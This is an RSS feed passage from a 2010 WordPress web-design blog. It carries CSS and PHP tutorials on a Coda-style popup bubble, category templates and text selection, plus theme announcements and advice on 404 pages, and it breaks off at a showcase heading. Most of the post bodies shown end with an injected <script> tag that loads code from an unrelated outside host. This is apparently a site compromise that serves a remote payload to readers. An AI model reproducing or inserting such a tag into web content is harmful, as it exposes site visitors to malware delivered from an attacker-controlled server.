<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Net-Cake</title>
	<atom:link href="http://www.net-cake.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.net-cake.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Mon, 08 Mar 2010 00:47:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Recreating the Coda Popup Bubble With CSS</title>
		<link>http://www.net-cake.com/recreating-the-coda-popup-bubble-with-css</link>
		<comments>http://www.net-cake.com/recreating-the-coda-popup-bubble-with-css#comments</comments>
		<pubDate>Mon, 08 Mar 2010 00:47:33 +0000</pubDate>
		<dc:creator>Paul D'Amora</dc:creator>
				<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.net-cake.com/?p=252</guid>
		<description><![CDATA[Most web designers have visited the Panic website on more than one occasion. People go there to buy their wonderful product, Coda.  Others find themselves returning again and again to admire some of the unique design elements on the ...]]></description>
			<content:encoded><![CDATA[<p>Most web designers have visited the Panic website on more than one occasion. People go there to buy their wonderful product, Coda.  Others find themselves returning again and again to admire some of the unique design elements on the website.  There&#8217;s nothing particularly wonderful about their website, but it does feature a few fascinating javascript effects, as well as a clean and elegant design.  One of these javscript effects that caught my eye, and many others, is the little tooltip popup bubble.<br />
<a href="http://www.net-cake.com/wp-content/uploads/2010/03/panicsite1.png"><img class="aligncenter size-large wp-image-255" title="panicsite" src="http://www.net-cake.com/wp-content/uploads/2010/03/panicsite1-1024x311.png" alt="" width="630" height="auto" /></a></p>
<p>It functions nicely, and is actually a helpful element to the page.  You could probably find some way in which you could implement something into one of your designs. <a href="http://jqueryfordesigners.com/"> jQueryForDesigners</a> did a tutorial awhile back on how to recreate <a href="http://jqueryfordesigners.com/coda-popup-bubbles/">this effec</a>t using javascript.  I have to say that is was a wonderful tutorial and produced an excellent finished product.  To be honest, everything on jQueryForDesigners is nothing short of excellent.  The thing with this popup bubble is that it doesn&#8217;t work with javascript disabled.  If you have important information in here, you probably want a more light-weight and reliable solution.</p>
<p>Luckily, we have CSS to save us.  CSS is certainly light weight, and you don&#8217;t have to worry about people disabling it.  We can recreate the effect used on the Coda website, without the use of image or javascript.  Before we do though, let&#8217;s take a look at what we want to accomplish.</p>
<h2>Problems</h2>
<p>What we want to create should be completely without images and javascript.  This means we&#8217;ll have to use some CSS3, and progressive enhancement techniques.<br />
We want to bubble to smoothly transition into visibility when a mouse over event occurs on the download image. We also want the popup to stay visible if the mouse is on the popup itself.</p>
<p>There will be no restrictions on height or width of the popup, because there aren&#8217;t any images to define that height or width.</p>
<p>Another plus is, without the external jQuery, javascript, and image files, we save a few http requests that shouldn&#8217;t be necessary for such a simple function.</p>
<h2>HTML Markup</h2>
<p>The markup for this should be similar to the following.</p>
<pre class="brush: xml;">
	&lt;div class=&quot;bubbleInfo&quot;&gt;
		&lt;a href=&quot;#&quot;&gt;
			&lt;img src=&quot;path-to-your-image&quot; alt=&quot;download&quot; id=&quot;download&quot; /&gt;
		&lt;/a&gt;
		&lt;div id=&quot;dpop&quot; class=&quot;popup&quot;&gt;
		        &lt;!--INSERT YOUR CONTENT HERE--&gt;
		&lt;/div&gt;&lt;!--#dpop--&gt;
	&lt;/div&gt;&lt;!--#bubbleInfo--&gt;
</pre>
<p>Here we wrapped both the download image, and the popup bubble in a container.  The actual image is a link, but doesn&#8217;t have any affect on the popup.  So the two elements inside our wrapper div are completely separate.</p>
<p>When there is a hover event on the wrapper div, that triggers the popup to transition into visibility.</p>
<h2>CSS</h2>
<p>Unlike with the markup there is a good amount of CSS involved in getting this to work.  Let&#8217;s look at what we want to accomplish with the CSS here</p>
<ul>
<li>Rounded corners</li>
<li>Drop shadow</li>
<li>Transition the location, and the visibility of the actual popup when the hover event occurs</li>
<li>Graceful degradation in less modern browsers</li>
<li>Write it with progressive enhancement</li>
</ul>
<p>If you look at the bubble on the coda website, it slides upwards, and the opacity changes when you hover over.  We can accomplish this by manipulating the top, and opacity values of the popup.</p>
<p>Let&#8217;s first style the bubble.</p>
<pre class="brush: css;">
#dpop {
	background:#FFF;
	border:1px solid #a0c7ff;
	display:block;
	left:-30px;
	opacity:0;
	padding:10px;
	position:absolute;
	top:-90px;
	-moz-border-radius:5px;
	-webkit-border-radius:5px;
	border-radius:5px;
	-webkit-box-shadow:rgba(68,68,68,.5) 0px 3px 8px;}</pre>
<p>These styles only apply to what the bubble will look like when it is partially visible.  The opacity:0 sets the div to be completely hidden from view.</p>
<p>Later, we will set a duration for the popup to transition into visibility.  It is necessary to define these styles on the hidden popup so we don&#8217;t affect the look of the partially visible popup.  Don&#8217;t worry, it&#8217;ll all make sense soon.</p>
<p>Next, we&#8217;ll style the visible bubble.  The only properties we need to change in this example are the opacity and the top value.</p>
<pre class="brush: css;">
.bubbleInfo:hover &gt; #dpop {									background:#FFF;border:1px solid #a0c7ff;display:block;left:-30px;opacity:1;padding:10px;position:absolute;top:-100px;-moz-border-radius:5px;
										-webkit-border-radius:5px;border-radius:5px;-webkit-box-shadow:rgba(68,68,68,.5) 0px 3px 8px;}
</pre>
<p>We know that .bubbleInfo is our wrapper div.</p>
<p>But the code we used for our selector may seem a bit strange.  Essentially, it  translates to &#8220;When #dpop is a child of .bubbleInfo:hover, apply this styling&#8221;.</p>
<p>The trick here is that #dpop can only be a child of .bubbleInfo:hover when .bubbleInfo is being hovered over, otherwise .bubbleInfo:hover doesn&#8217;t exist.  This type of selector is more dynamic than something you&#8217;d see more commonly.  That&#8217;s <em>thinking outside the box</em>.<br />
Let&#8217;s see what we have so far.  We have a styled bubble with both a visible and hidden state. Our only problem is that it isn&#8217;t a smooth transition, and the bubble ends up partly off the page.  Since it&#8217;s absolutely positioned, you just need to add one line of code to make sure it&#8217;s absolutely positioned relative to its wrapper div.  Don&#8217;t worry, it&#8217;s a simpler concept than I&#8217;m making it sound.  We&#8217;re really just adding position:relative to the wrapper div so we can contain the popup bubble.</p>
<pre class="brush: css;">.bubbleInfo {								position:relative;}/*Contains the popup bubble*/</pre>
<p>Ok, know we&#8217;re rocking.</p>
<p>The bubble should appear when you hover over the download image, and then disappear when you hover out.  Unfortunately, for some browsers, that&#8217;s as good as it&#8217;s gonna get. But we&#8217;ll use some progressive enhancement so people using better browsers get a few extra treats.</p>
<pre class="brush: css;">.bubbleInfo:hover &gt; #dpop, .bubbleInfo &gt; #dpop, #dpop {									-webkit-transition-duration: .25s; -webkit-transition-property: opacity,top;}</pre>
<p>This uses CSS3 transitions to make the opacity and top properties smoothly change.  You&#8217;ll notice that now the change is less abrupt than it was previously.<br />
One last thing before we&#8217;re done.  On the Coda website, the bubble has a little tail on the bottom, like a speech bubble.  We can recreate this with CSS.  There is an old trick that involves using borders to create triangles, we can take advantage of this in our code.</p>
<pre class="brush: css;">.bubbleInfo:hover &gt; #dpop:after, #dpop:after {
	border-color:#fff transparent transparent;
	border-style:solid;
	border-width:10px 10px;
	bottom:-20px;
	content:&quot;&#92;&#48;0a0&quot;;
	display:block; /* reduce the damage in FF3.0 */
	height:0;
	left:75px;
	position:absolute;
	width:0;
	}</pre>
<p>There are some downfalls to this however.  The triangle is essentially just a border, so we can&#8217;t apply any CSS properties such as box-shadow, or borders, without thinks going a bit wonky.  It isn&#8217;t incredibly noticeable, but you might want to consider using an image nonetheless.</p>
<h2>Wrapup</h2>
<p>Go ahead and save all of your files, and</p>
<p>BAM!  You&#8217;ve got yourself a fully working CSS popup bubble.</p>
<p>This is pure CSS, with no images used at all.  It doesn&#8217;t look exactly like the one on the Coda website, but it&#8217;s pretty darn close.</p>
<p>If you want to implement this into your designs, you may want to consider whether it&#8217;s okay to lose some of the cool effects in older browsers.  Personally, if older browsers don&#8217;t get some fancy shadows and rounded corners, I really don&#8217;t care.  As long as it works, right?</p>
<p>Here are a few links to consider when customizing this effect -</p>
<ul>
<li><a href="http://www.panic.com/coda/">Panic Website</a></li>
<li><a href="http://jqueryfordesigners.com/coda-popup-bubbles/">jQuery Coda Bubble Tutorial</a></li>
<li><a href="http://css-tricks.com/attribute-selectors/">Attribute Selecters</a></li>
<li><a href="http://nicolasgallagher.com/demo/pure-css-speech-bubbles/bubbles.html">CSS Speech Bubbles</a></li>
</ul>
<h2>Enjoy</h2>
<p><a href="http://www.net-cake.com/demos/CodaBubble/">View Demo</a> / <a href="http://www.net-cake.com/demos/CodaBubble/codabubble.zip">Download Files</a><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.net-cake.com/recreating-the-coda-popup-bubble-with-css/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Advanced Category Usage</title>
		<link>http://www.net-cake.com/advanced-category-usage</link>
		<comments>http://www.net-cake.com/advanced-category-usage#comments</comments>
		<pubDate>Fri, 26 Feb 2010 18:39:09 +0000</pubDate>
		<dc:creator>Paul D'Amora</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.net-cake.com/?p=240</guid>
		<description><![CDATA[Most blogs out there use some sort of category system.  They&#8217;re good for SEO, and for overall ease of use while surfing a website.  As most of us know, WordPress supports a wonderful categorization system.  There are ...]]></description>
			<content:encoded><![CDATA[<p>Most blogs out there use some sort of category system.  They&#8217;re good for <abbr title="Search Engine Optiomization">SEO</abbr>, and for overall ease of use while surfing a website.  As most of us know, WordPress supports a wonderful categorization system.  There are a lot of things that can be done with those categories that some people just don&#8217;t know.  Let&#8217;s focus on the display of those categories.  If your users can&#8217;t see your category in an informative and helpful way, then there is really no point in having them.  This includes displaying the list of category that a post may be in, displaying category pages, and the display of lists of categories.  Throughout this post I will cover advanced usage of all of these.</p>
<p>In WordPress you can easily list out the categories that a post was posted in.  This is done with a single tag, that must be within the Loop.</p>
<pre class="brush: php;">&lt;?php the_category(', '); ?&gt;</pre>
<p>You can change a few parameters of this tag, including the separator.  This is the piece of text that separates each category if there&#8217;re more than one.  In the code I gave you, it is a comma.  You can change it to a bullet<code> •</code>, an arrow <code> &gt;</code>, or whatever else suits you.</p>
<p>This piece of code will display links to each of the individual category pages.  You can change the structure of these links on the Permalinks page in you WordPress admin settings.<br />
<a href="http://www.net-cake.com/wp-content/uploads/2010/02/permalinks.png"><img class="aligncenter size-full wp-image-247" title="permalinks" src="http://www.net-cake.com/wp-content/uploads/2010/02/permalinks.png" alt="" width="600" height="200" /></a></p>
<p>For example, if you use articles as your base, then your category pages will be linked as such<br />
<code>http://example.com/articles/uncategorized</code></p>
<p>When WordPress is trying to display the category page, it is going to look for certain template files.  If they aren&#8217;t found, then it looks for the next one.  For category page, WordPress use the<code> category.php</code> file.  You are welcome to write out your own <code>category.php</code> file, but I typically use the next template file, which is <code>archive.php</code>.  For more info on what template files WordPress uses to render pages, visit <a href="http://digwp.com/2010/02/template-heirarchy-chart/"> DigWP</a>.</p>
<p>Anyway,  your archive or category page can typically be a modified version of the Loop used on the index page.  If you want to leave out something, or add some type of content, then go ahead.  One thing you may want to do is display a descriptive heading.  This tells the user what they&#8217;re viewing exactly. I use the following</p>
<pre class="brush: php;">
&lt;?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?&gt;
&lt;?php /* If this is a category archive */ if (is_category()) { ?&gt;
&lt;h2 class=&quot;archive&quot;&gt;Archive for the &amp;#8216;&lt;?php single_cat_title(); ?&gt;&amp;#8217; Category&lt;/h2&gt;
&lt;?php /* If this is a tag archive */ } elseif( is_tag() ) { ?&gt;
&lt;h2 class=&quot;archive&quot;&gt;Posts Tagged &amp;#8216;&lt;?php single_tag_title(); ?&gt;&amp;#8217;&lt;/h2&gt;
&lt;?php /* If this is a daily archive */ } elseif (is_day()) { ?&gt;
&lt;h2 class=&quot;archive&quot;&gt;Archive for &lt;?php the_time('F jS, Y'); ?&gt;&lt;/h2&gt;
&lt;?php /* If this is a monthly archive */ } elseif (is_month()) { ?&gt;
&lt;h2 class=&quot;archive&quot;&gt;Archive for &lt;?php the_time('F, Y'); ?&gt;&lt;/h2&gt;
&lt;?php /* If this is a yearly archive */ } elseif (is_year()) { ?&gt;
&lt;h2 class=&quot;archive&quot;&gt;Archive for &lt;?php the_time('Y'); ?&gt;&lt;/h2&gt;
&lt;?php /* If this is an author archive */ } elseif (is_author()) { ?&gt;
&lt;h2 class=&quot;archive&quot;&gt;Author Archive&lt;/h2&gt;
&lt;?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) &amp;&amp; !empty($_GET['paged'])) { ?&gt;
&lt;h2 class=&quot;archive&quot;&gt;Blog Archives&lt;/h2&gt;
&lt;?php } ?&gt;
</pre>
<p>This piece of code runs through several if and elseif statements to determine what type of page you&#8217;re viewing, and display a heading accordingly.  You can use it in your own archives page by inserting the above code after</p>
<pre class="brush: php;">&lt;?php if (have_posts()) : ?&gt;</pre>
<p>in your <code>archive.php</code> file.</p>
<p><a href="http://www.net-cake.com/wp-content/uploads/2010/02/archive.png"><img class="aligncenter size-full wp-image-246" title="archive" src="http://www.net-cake.com/wp-content/uploads/2010/02/archive.png" alt="" width="600" height="200" /></a></p>
<p>Lastly, let&#8217;s cover listing out your blogs categories.  This is easily done with the following code -</p>
<pre class="brush: php;">&lt;?php wp_list_categories( ); ?&gt;</pre>
<p>This will list out all of the categories and their children that exist on your blog.  You can do things to customize this output such as exclude categories, or change the title of the list</p>
<pre class="brush: php;">&lt;?php wp_list_categories('exclude=1,2&amp;title_li=New Title'); ?&gt;</pre>
<p>Or only show the parent categories.</p>
<pre class="brush: php;">wp_list_categories('depth=1'); ?&gt;</pre>
<p>The list goes on and on.</p>
<p>You may have noticed on your WordPress admin category page that you can add descriptions to the categories.   Well, with a bit of php magic you can list out the names of the categories along with their descriptions.</p>
<p><a href="http://www.net-cake.com/wp-content/uploads/2010/02/desc.png"><img class="aligncenter size-full wp-image-245" title="desc" src="http://www.net-cake.com/wp-content/uploads/2010/02/desc.png" alt="" width="600" height="200" /></a></p>
<p>First, go into your functions.php file and insert the following function</p>
<pre class="brush: php;">
function advanced_cat () {
	$args=array(
		'orderby' =&gt; 'name',
		'order' =&gt; 'ASC',
		'pad_counts' =&gt; '1'
	);
	$categories=get_categories($args);
		foreach($categories as $category) {
			echo '&lt;li&gt;&lt;a href=&quot;' . get_category_link( $category-&gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&gt;name ) . '&quot; ' . '&gt;&lt;span&gt;' . $category-&gt;name.'&lt;/span&gt; ';
			echo '&lt;span&gt;'. $category-&gt;description . '&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;';
		}
}
</pre>
<p>This is creating a foreach statement that defines the display for each category in the list.  In this case we have it echoing the entire category name with its description inside an <code>li</code> tag.  The category name is displayed within a link, and a span.  The categories description is then outputted inside a span, as well as within the same link and list element that the category name was listed in.  You can of course customize it and add classes, or more data.</p>
<p>In order to actually display our list you need to put the following code somewhere in your theme -</p>
<pre class="brush: php;">&lt;?php advanced_cat(); ?&gt;</pre>
<p>This simply outputs the function we created earlier in the functions.php file.</p>
<h2>Fin</h2>
<p>Well that concludes today&#8217;s post.  Thanks go out to comment author &#8211; Benje for bringing up the question on how to accomplish this.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.net-cake.com/advanced-category-usage/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Slice in the Works &#8211; Carpe Diem</title>
		<link>http://www.net-cake.com/slice-in-the-works-carpe-diem</link>
		<comments>http://www.net-cake.com/slice-in-the-works-carpe-diem#comments</comments>
		<pubDate>Sun, 21 Feb 2010 21:56:19 +0000</pubDate>
		<dc:creator>Paul D'Amora</dc:creator>
				<category><![CDATA[Theme Release]]></category>

		<guid isPermaLink="false">http://www.net-cake.com/?p=236</guid>
		<description><![CDATA[Here we go again folks.  Another free WordPress theme is on the way.  This theme is titled &#8220;Carpe Diem&#8221;.  Which means Seize the Day in latin, in case you didn&#8217;t know.  I would love to list ...]]></description>
			<content:encoded><![CDATA[<p>Here we go again folks.  Another free WordPress theme is on the way.  This theme is titled &#8220;Carpe Diem&#8221;.  Which means Seize the Day in latin, in case you didn&#8217;t know.  I would love to list off all the wonderful things this WordPress theme is going to do, but it would be easier to list off what it doesn&#8217;t do.  And on a less cheesy note, I don&#8217;t want to give too much away, because I&#8217;m so excited to release this baby.</p>
<p>There are a few key features that Carpe Diem will have that may be of interest to you -</p>
<ul>
<li>WordPress 2.9+ Ready</li>
<li>Widgetized Sidebar</li>
<li>Fully customizable via organized theme options page</li>
<li>Support for all modern Webkit, Gecko, and Opera based browsers</li>
<li>Support for IE6, IE7, and IE8</li>
<li>Beautiful design</li>
<li>CSS3 fanciness</li>
<li>Adsense Ready, with Ad manager admin panel</li>
<li>Fully layered logo PSD</li>
<li>Custom color scheme</li>
<li>Custom Logo / Favicon upload</li>
<li>Fully commented CSS</li>
<li>Web 2.0, TABLELESS design</li>
<li>Easily Editable, Fully Commented, CSS</li>
<li>Easily Editable, Fully Commented, Markup</li>
<li>Integrated Flickr Area</li>
<li>Integrated Twitter Feed</li>
<li>Threaded and Paginated Comments</li>
<li>Integrated Twitter Feed</li>
<li>Integrated Flickr Feed</li>
<li>Featured post slider with your choice of s3Slider, Cu3er, or nothing</li>
<li>Did I mention it&#8217;s <strong>FREE</strong>?</li>
</ul>
<p>Well, those are just a few things that&#8217;ll make this slice special.<br />
The theme is quickly nearing its release date.</p>
<p>The really unique and amazing thing about this theme is it&#8217;s Theme Options page.  User control like this just doesn&#8217;t exist in other free themes.  Every aspect of the sidebar, the ads, the featured post slider, everything is customizable by you.  The theme options page is organized in an accordian style, which just makes things cooler.</p>
<p>Anyway, I can&#8217;t wait to release this theme as I&#8217;m sure you guys will love it.<br />
<a href="http://www.net-cake.com/wp-content/uploads/2010/02/carpediembig.png"><img src="http://www.net-cake.com/wp-content/uploads/2010/02/carpediembig.png" alt="" title="carpediembig" width="600" height="550" class="aligncenter size-full wp-image-237" /></a><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.net-cake.com/slice-in-the-works-carpe-diem/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Stunning Snippet &#8211; CSS Text Selection</title>
		<link>http://www.net-cake.com/stunning-snippet-css-text-selection</link>
		<comments>http://www.net-cake.com/stunning-snippet-css-text-selection#comments</comments>
		<pubDate>Sat, 20 Feb 2010 20:57:37 +0000</pubDate>
		<dc:creator>Paul D'Amora</dc:creator>
				<category><![CDATA[Snippets]]></category>

		<guid isPermaLink="false">http://www.net-cake.com/?p=233</guid>
		<description><![CDATA[We&#8217;re all familiar with the classic blue color scene when you highlight text in your browser.  Essentially the text turns white, and the background turns blue.  What a surprisingly large portion of people don&#8217;t know is that you ...]]></description>
			<content:encoded><![CDATA[<p>We&#8217;re all familiar with the classic blue color scene when you highlight text in your browser.  Essentially the text turns white, and the background turns blue.  What a surprisingly large portion of people don&#8217;t know is that you can control this with CSS.  Okay, you don&#8217;t have absolute control over it, since it only works in Webkit and Gecko based browsers, but think of it as an extra treat for the people using those browsers.  You&#8217;ll notice that if you highlight any text on this blog, it gives you a nice green background with white text.  This is an important, yet often overlooked element of the design.  It keeps everything standard, rather than looking like it was hacked together.  Ok, enough talking, this is how you can get it to work on your website.</p>
<pre class="brush: css;">
::selection {										background: #7fc548; color: white;text-shadow:none;/* Safari */}
::-moz-selection {										background:#7fc548; color: white;text-shadow:none;/* Firefox */}
</pre>
<p>You can use other properties to customize the ::selections pseudo class, but it isn&#8217;t recommended.  You don&#8217;t want the padding of elements changing when you highlight them now do you?<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.net-cake.com/stunning-snippet-css-text-selection/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Theme Release : Chalkdust &#8211; A Net-Cake Slice</title>
		<link>http://www.net-cake.com/theme-release-chalkdust-a-net-cake-slice</link>
		<comments>http://www.net-cake.com/theme-release-chalkdust-a-net-cake-slice#comments</comments>
		<pubDate>Sat, 13 Feb 2010 18:36:58 +0000</pubDate>
		<dc:creator>Paul D'Amora</dc:creator>
				<category><![CDATA[Theme Release]]></category>

		<guid isPermaLink="false">http://www.net-cake.com/?p=226</guid>
		<description><![CDATA[Here we go folks.  Net-Cake&#8217;s very FIRST completely FREE WordPress theme.  Dozens of hours went into lovingly creating this premium WordPress theme just for you guys, my supposed loyal readers.  I now present to you, my newest ...]]></description>
			<content:encoded><![CDATA[<p>Here we go folks.  Net-Cake&#8217;s very FIRST completely FREE WordPress theme.  Dozens of hours went into lovingly creating this premium WordPress theme just for you guys, my supposed loyal readers.  I now present to you, my newest WordPress theme, <strong>Chalkdust</strong>.</p>
<p>Chalkdust is a beautifully, minimalistic, dark theme.  It&#8217;ll add life and style to any site.  Don&#8217;t like red?  Don&#8217;t have a flickr account?  Chalkdust can easily change that for you by way of a few mouse clicks.  You can have virtually ANY color scheme that suites you.</p>
<p>Chalkdust comes with an integrated<strong> Flickr widget</strong>, as well as an integrated <strong>Twitter widget</strong>.  If that weren&#8217;t already great, Chalkdust makes it even better by allowing you to customize these widgets to your liking.  This is done via the built-in <strong>Theme Options</strong> page. That means that any change you want to make to your theme can be easily done without getting your hands dirty with code.  From the theme options page you can do things such as:</p>
<ul>
<li>Customize colors</li>
<li>Customize the Built-in Twitter widget</li>
<li>Choose to display the integrated flickr widget</li>
<li>Upload your own custom logo</li>
<li>Specify detailed settings for your logo</li>
<li>View Theme Options Page<a href="http://www.net-cake.com/wp-content/uploads/2010/02/chalkdust_options1.png"> HERE</a></li>
</ul>
<p>If that&#8217;s not enough for you, check out some of the other amazing features packed into Chalkdust.</p>
<ul>
<li>WordPress 2.6, 2.7, 2.8+ Ready</li>
<li>Widgetized Footer</li>
<li>Fully customizable via organized theme options page</li>
<li>Support for all modern Webkit, Gecko, and Opera based browsers</li>
<li>Support for IE7, and IE8</li>
<li>Minimalistic, yet elegant design design</li>
<li>CSS3 fanciness</li>
<li>Sidebarless template, Which places focus on the main content</li>
<li>Fully layered logo PSD</li>
<li>Any custom color scheme</li>
<li>Built-in custom logo image upload, upload your custom logo with ease</li>
<li>Detailed readme.txt for help with installing and using Chalkdust</li>
<li>Web 2.0, TABLELESS design</li>
<li>Easily Editable, Fully Commented, CSS</li>
<li>Easily Editable, Fully Commented, Markup</li>
<li>Integrated Flickr Feed</li>
<li>Integrated Twitter Feed</li>
<li>Gravatar Ready</li>
<li>Threaded Comments</li>
<li>Did I mention it’s <strong>FREE?</strong></li>
</ul>
<p>And that&#8217;s not all.  We just didn&#8217;t want to push the limits of the size of that box up there.</p>
<p>You may be wondering, how can something this wonderful, be absolutely free, what&#8217;s the catch?  There is not catch, there aren&#8217;t even any sponsored links in the footer, because I&#8217;m just that nice (no one wanted to sponsor it <img src='http://www.net-cake.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> )</p>
<p>Well, what are you waiting for?! Go ahead and check it out!</p>
<ul>
<li><a href="http://www.net-cake.com/themes/?preview_theme=Chalkdust">Preview This Theme</a></li>
<p><li><a href="http://www.net-cake.com/downloads/chalkdust-theme.zip" title="Downloaded 6 times">Download Chalkdust Wordpress Theme Free</a></li><li>Downloaded 6 times</li></ul>
<p><strong>Note &#8211; You may not remove, or modfy the links in the footer, in any way shape or form.</strong></p>
<p>Like this theme? The best best way to get more is to &#8211; Follow me on <a href="http://twitter.com/pauldamora">Twitter</a> or subscribe to our<a href="http://feeds.feedburner.com/netcake"> RSS Feed</a> via <a href="http://feedburner.google.com/fb/a/mailverify?uri=netcake&amp;loc=en_US">email</a>.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.net-cake.com/theme-release-chalkdust-a-net-cake-slice/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>404 Error Pages</title>
		<link>http://www.net-cake.com/404-error-pages</link>
		<comments>http://www.net-cake.com/404-error-pages#comments</comments>
		<pubDate>Sat, 13 Feb 2010 00:53:07 +0000</pubDate>
		<dc:creator>Paul D'Amora</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://www.net-cake.com/?p=199</guid>
		<description><![CDATA[The 404 page is one of the most important, yet often overlooked elements of a website.  It is the page that is generally served up to the reader by the server when a page simply can&#8217;t be found.  ...]]></description>
			<content:encoded><![CDATA[<p>The 404 page is one of the most important, yet often overlooked elements of a website.  It is the page that is generally served up to the reader by the server when a page simply can&#8217;t be found.  If you try going to <a href="http://www.net-cake.com/cheese/4040/morecheese">this link</a>, you&#8217;re going to see my own personal 404 page.  Since, I still haven&#8217;t seen a need to create any pages with the word cheese in them, for now at least.</p>
<p>If you don&#8217;t go through the effort of designing a 404 page, a few things could happen.  The browser might show its own version of a 404 page -</p>
<div id="attachment_202" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.net-cake.com/wp-content/uploads/2010/02/ie-e1266013142836.png"><img class="size-full wp-image-202" title="ie" src="http://www.net-cake.com/wp-content/uploads/2010/02/ie-e1266013142836.png" alt="" width="500" height="193" /></a><p class="wp-caption-text">Internet Explorer</p></div>
<div id="attachment_200" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.net-cake.com/wp-content/uploads/2010/02/chrome-e1266013077165.png"><img class="size-full wp-image-200" title="chrome" src="http://www.net-cake.com/wp-content/uploads/2010/02/chrome-e1266013077165.png" alt="" width="500" height="193" /></a><p class="wp-caption-text">Google Chrome</p></div>
<p>Or your host may have a default 404 that it serves up to all its websites.  This is more common on free hosts, and sometimes you can&#8217;t override it.  And of course there&#8217;s the bland and generic Apache 404 page.</p>
<p>Anyway, the thing about these 404 pages is they really aren&#8217;t helpful.  Sure, we&#8217;ve got a google search bar, and some explanations of why this might be happening, but none of that relates to the <em>actual</em> website.  Your job as the developer should be the makes your users lives as easy and simple as possible.  They aren&#8217;t supposed to do the thinking, that&#8217;s your job.  So if you put  up your own custom 404 page with helpful links, a search bar, and a few other elements, your users will easily get to where they want to be, and love you just a little bit more for helping them accomplish that.</p>
<p>Now, what have you learned so far?  You need to have your own custom 404 page, and to help you accomplish that, I&#8217;ve provided you with a few best practices.</p>
<h2>1.  Keep it Simple</h2>
<p>On your 404 page, you should only have what needs to be there and nothing else.  Putting a joke, or a picture is fine, but you don&#8217;t want to fill up the page with useless content.</p>
<p><a href="http://www.newspond.com/404"><img class="aligncenter size-full wp-image-209" title="newspond" src="http://www.net-cake.com/wp-content/uploads/2010/02/newspond.png" alt="" width="500" height="500" /></a></p>
<h2>2.  Keep the Design Standard</h2>
<p>Let&#8217;s say a user on this website is searching for something, and gets a 404.  Instead of the green and white that we all know and love, I decide to serve up some crazy purple page, with insane gradients and bokeh effects.  The average person will experience a lot of confusion.  For all he knows, this isn&#8217;t even the same website he was one seconds ago, how could it be?  It looks NOTHING like it.  In general, arriving on a 404 page  inspires confusion and irritation in the user.  You want to try to minimize that as much as possible.  So keep the design of your 404 page looking just like every other page on your website.  At least then, the user knows he&#8217;s on the right website, just not the right page.<br />
<a href="http://www.net-cake.com/404"><img class="aligncenter size-full wp-image-210" title="net-cake" src="http://www.net-cake.com/wp-content/uploads/2010/02/net-cake.png" alt="" width="500" height="500" /></a></p>
<h2>3.  Useful Links</h2>
<p>You don&#8217;t want to necessarily go listing out every post and page you&#8217;ve ever written, that could get rather enormous.  But listing out your recent posts, or your most popular posts is always a good idea.  Chances are, that&#8217;s where people want to be anyway.  On the off chance that none of the links you provide are helpful, offer them the opportunity to contact you.  That way you can be notified of the problem, if there is one, and you can fix it as soon as possible.</p>
<p>As well as the &#8220;Recent Posts&#8221;, &#8220;Popular Posts&#8221;, and contact  link, consider a link to a full archives page.  If it&#8217;s not on your archives page, chances are it doesn&#8217;t exist (or you have a malicious hacker on your hands).<br />
<a href="http://www.inspirationbit.com/404"><img class="aligncenter size-full wp-image-211" title="inspirationbits" src="http://www.net-cake.com/wp-content/uploads/2010/02/inspirationbits.png" alt="" width="500" height="500" /></a></p>
<h2>4. Search</h2>
<p>This is a definite must.  Maybe the page they&#8217;re looking for is in a different location, or the link changed.  Assuming you already have some sort of search feature built into your site, this is your opportunity to serve it up to them when they need it most.  Maybe they couldn&#8217;t find the page they were looking for, but chances are your search bar can (you coded it after all, if must be awesome <img src='http://www.net-cake.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ).<br />
<a href="http://net.tutsplus.com/404"><img class="aligncenter size-full wp-image-212" title="net-tuts" src="http://www.net-cake.com/wp-content/uploads/2010/02/net-tuts.png" alt="" width="500" height="500" /></a></p>
<h2>5. Jokes/Humour</h2>
<p>This whole 404 thing might be an awkward moment for you and the user.  Try to lighten things up by adding a funny picture or joke.  Nine times out of ten, they laugh it off and forget the day that <strong>YOU</strong> failed finding the page they wanted.</p>
<p>(That was a joke right there, in case you didn&#8217;t notice.)<br />
<a href="http://henrikhedegaard.com/404/404.html"><img class="aligncenter size-full wp-image-213" title="henrik" src="http://www.net-cake.com/wp-content/uploads/2010/02/henrik.png" alt="" width="500" height="500" /></a></p>
<h2>Showcase of 404 Pages</h2>
